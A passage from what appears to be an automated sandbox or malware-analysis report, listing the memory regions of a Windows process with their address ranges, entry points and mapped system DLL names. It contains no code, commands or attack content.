0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4304 start_va = 0x7fefa1f0000 end_va = 0x7fefa1fefff monitored = 0 entry_point = 0x7fefa1f1040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 4305 start_va = 0x7fefa200000 end_va = 0x7fefa209fff monitored = 0 entry_point = 0x7fefa204938 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 4306 start_va = 0x7fefa210000 end_va = 0x7fefa22bfff monitored = 0 entry_point = 0x7fefa211198 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 4307 start_va = 0x7fefa230000 end_va = 0x7fefa251fff monitored = 0 entry_point = 0x7fefa231198 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 4308 start_va = 0x7fefa260000 end_va = 0x7fefa269fff monitored = 0 entry_point = 0x7fefa261198 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 4309 start_va = 0x7fefa270000 end_va = 0x7fefa287fff monitored = 0 entry_point = 0x7fefa271010 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 4310 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4311 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4312 start_va = 0x7fefa4f0000 end_va = 0x7fefa4f6fff monitored = 0 entry_point = 0x7fefa4f1b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" (normalized: "c:\\windows\\system32\\wlanutil.dll") Region: id = 4313 start_va = 0x7fefa500000 end_va = 0x7fefa50ffff monitored = 0 entry_point = 0x7fefa5095dc region_type = mapped_file name = "alttab.dll" filename = "\\Windows\\System32\\AltTab.dll" (normalized: "c:\\windows\\system32\\alttab.dll") Region: id = 4314 start_va = 0x7fefa5f0000 end_va = 0x7fefa5f7fff monitored = 0 entry_point = 0x7fefa5f11a0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 4315 start_va = 0x7fefa600000 end_va = 0x7fefa608fff monitored = 0 entry_point = 0x7fefa602f98 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 4316 start_va = 0x7fefa610000 end_va = 0x7fefa627fff monitored = 0 entry_point = 0x7fefa611060 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 4317 start_va = 0x7fefa630000 end_va = 0x7fefa639fff monitored = 0 entry_point = 0x7fefa6349f0 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 4318 start_va = 0x7fefa640000 end_va = 0x7fefa68efff monitored = 0 entry_point = 0x7fefa642760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 4319 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4320 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4321 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 4322 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 4323 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 4324 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 4325 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4326 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4327 start_va = 0x7fefabe0000 end_va = 0x7fefabf8fff monitored = 0 entry_point = 0x7fefabf077c region_type = mapped_file name = "wercplsupport.dll" filename = "\\Windows\\System32\\wercplsupport.dll" (normalized: "c:\\windows\\system32\\wercplsupport.dll") Region: id = 4328 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 4329 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4330 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4331 start_va = 0x7fefad40000 end_va = 0x7fefad55fff monitored = 0 entry_point = 0x7fefad41050 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 4332 start_va = 0x7fefad60000 end_va = 0x7fefad9efff monitored = 0 entry_point = 0x7fefad612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 4333 start_va = 0x7fefada0000 end_va = 0x7fefade2fff monitored = 0 entry_point = 0x7fefada30d8 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 4334 start_va = 0x7fefadf0000 end_va = 0x7fefae6afff monitored = 0 entry_point = 0x7fefae5bf74 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 4335 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 4336 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 4337 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 4338 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff monitored = 0 entry_point = 0x7fefaee5740 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 4339 start_va = 0x7fefaf10000 end_va = 0x7fefaf63fff monitored = 0 entry_point = 0x7fefaf1104c region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 4340 start_va = 0x7fefaf70000 end_va = 0x7fefafe2fff monitored = 0 entry_point = 0x7fefafcc7f8 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 4341 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4342 start_va = 0x7fefb010000 end_va = 0x7fefb01afff monitored = 0 entry_point = 0x7fefb011030 region_type = mapped_file name = "ehsso.dll" filename = "\\Windows\\ehome\\ehSSO.dll" (normalized: "c:\\windows\\ehome\\ehsso.dll") Region: id = 4343 start_va = 0x7fefb020000 end_va = 0x7fefb149fff monitored = 0 entry_point = 0x7fefb023810 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 4344 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 4345 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 4346 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 4347 start_va = 0x7fefb200000 end_va = 0x7fefb20afff monitored = 0 entry_point = 0x7fefb201020 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 4348 start_va = 0x7fefb210000 end_va = 0x7fefb24afff monitored = 0 entry_point = 0x7fefb21f410 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 4349 start_va = 0x7fefb250000 end_va = 0x7fefb292fff monitored = 0 entry_point = 0x7fefb25c168 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 4350 start_va = 0x7fefb2a0000 end_va = 0x7fefb391fff monitored = 0 entry_point = 0x7fefb2cac20 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 4351 start_va = 0x7fefb3a0000 end_va = 0x7fefb5b4fff monitored = 0 entry_point = 0x7fefb5764b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 4352 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4353 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4354 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 4355 start_va = 0x7fefb770000 end_va = 0x7fefb793fff monitored = 0 entry_point = 0x7fefb771024 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 4356 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 4357 start_va = 0x7fefb9a0000 end_va = 0x7fefbaa9fff monitored = 0 entry_point = 0x7fefb9a1010 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 4358 start_va = 0x7fefbab0000 end_va = 0x7fefbc89fff monitored = 0 entry_point = 0x7fefbab3130 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 4359 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4360 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4361 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4362 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4363 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 4364 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 4365 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4366 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4367 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4368 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 4369 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4370 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4371 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4372 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4373 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4374 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4375 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4376 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4377 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 4378 start_va = 0x7fefd040000 end_va = 0x7fefd1b7fff monitored = 0 entry_point = 0x7fefd0410e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 4379 start_va = 0x7fefd1c0000 end_va = 0x7fefd418fff monitored = 0 entry_point = 0x7fefd1c1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 4380 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4381 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4382 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4383 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 4384 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 4385 start_va = 0x7fefe660000 end_va = 0x7fefe676fff monitored = 0 entry_point = 0x7fefe661070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 4386 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4387 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4388 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4389 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4390 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 4391 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4392 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4393 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4394 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4395 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4396 start_va = 0x7fefee20000 end_va = 0x7fefef49fff monitored = 0 entry_point = 0x7fefee210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 4397 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4398 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4399 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4400 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4401 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 4402 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 4403 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 4404 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 4405 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 4406 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 4407 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 4408 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 4409 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 4410 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 4411 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 4412 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 4413 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 4414 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 4415 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 4416 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4417 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4418 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4419 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4420 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 4421 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 4422 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4423 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 4424 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 4425 start_va = 